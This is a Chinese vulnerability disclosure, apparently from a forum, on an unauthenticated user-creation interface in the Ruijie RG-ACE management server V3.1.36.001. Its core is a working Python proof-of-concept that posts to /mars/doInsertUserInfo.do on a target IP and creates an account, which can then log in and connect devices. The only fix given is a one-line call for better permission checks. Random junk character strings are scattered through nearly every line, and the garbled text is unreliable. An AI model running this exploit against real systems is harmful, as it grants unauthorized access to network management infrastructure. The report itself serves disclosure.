锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)6 O8 `- C* v( L6 B; _: q
+ Q. G4 p/ u: h$ w5 Q# P
2 e2 N6 |% R5 L7 b测试的具体版本是
" L( a) T" v$ u/ a8 b% G" P3 B! Y产品名称: 锐捷应用控制引擎
4 D" u, Q: U3 N* J/ E/ d' p: m版本号: 3.1.36.001 TC
- {$ L6 _' [8 f* h' v, @2 B编译时间: 2011042917302 B6 n) c0 n* n+ @' x
* P1 l4 J3 J+ i- C6 N2 c; B% r
) W, }$ e9 H E漏洞证明:
6 F! @1 p, k8 w$ l1 L5 d! o4 M 6 r. ]' Z7 P5 v/ l* J6 }
7 u5 G" R+ O# ^
4 B- H) `2 [5 ]6 o+ K
" R5 O$ }: z7 j/ O# U' w! c
! k; G; q7 H+ B" l$ P. t5 i& W; z1 a% Z. y5 t6 U
执行脚本
( J/ [. o ^5 K# G4 } b#! /usr/bin/env python* i( s4 O8 \, o- C/ b
#coding=gbk O( s5 b" p6 |2 k3 B* j. Z* m
#RG-ACE管理服务器 V3.1.36.001* v/ b- y/ x1 Z
import urllib2, urllib,cookielib8 u! }5 e; r* j
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP' B# a2 Y5 u0 y2 e+ Z1 n
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
5 K/ B1 ?/ v$ y1 c* Mopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, l* ^, a" g7 zpost=(("event","userManager.doInsertUserInfo"),3 ^ Z0 q l. Q1 n6 }
("useractionname","addButtonValue"),
: i$ I9 I8 }) k- @6 B9 ~7 u("useropermanager","userManager"),
6 Y; b! I8 b- [! Q0 h("userName","t"), #######账号自己加
6 y/ m2 n- e. S: s7 `; h" L! Y("pwd","aaaaaa"),######密码自己加
9 k% O( t# f t! N("trueName","ad"),
( x- i$ ]" Q6 X/ A. r I("email",""),
, _& }$ C3 J+ p("mobilePhone",""),
+ V) S/ S$ x! p. r7 G( I("officePhone",""),
/ O2 f C5 _" k J' X6 M* j4 P2 M("addr",""),
. H9 q: K3 F9 I1 h& O c0 S" R2 ?("submit","确定"))4 m0 \' L: B# c% W
urllib2.install_opener(opener)
3 n. z# T. |) w- lp=urllib2.urlopen(url, urllib.urlencode(post)).read()! y$ z( ?; E) a, ]- K1 N
print "Done"5 ?& {+ v5 W$ y2 ^
' P' x, s% o9 s7 y
登录,连接设备
% O3 n) i+ U: ^" n1 {# ^- T+ c/ c5 A5 c
" Z+ ~$ f& B. a( u4 Y0 ~2 e9 j
% C8 v& _- i( o6 [& r+ J; E- s
; N! H1 O2 q! ?1 N2 t" p
2 \3 P5 Y3 W- [3 X3 e+ U默认的管理员admin权限更大点& a, B R1 y4 T3 F! G
" b) M/ ?' \( a' J" a6 m
' h" f( t" s+ \( P) u, G
4 X8 d; [! f4 } ; w- a; u/ v2 L+ ^
0 b3 c+ u: N: U3 Q. y2 g
修复方案:
2 s( |/ n. ?9 k4 _6 J. X9 [, Z加强对接口的权限验证
2 P4 s) _! I' ~' G" U. _: } h" T4 V& i
6 Y7 }2 ~3 n8 V7 U( R5 Y |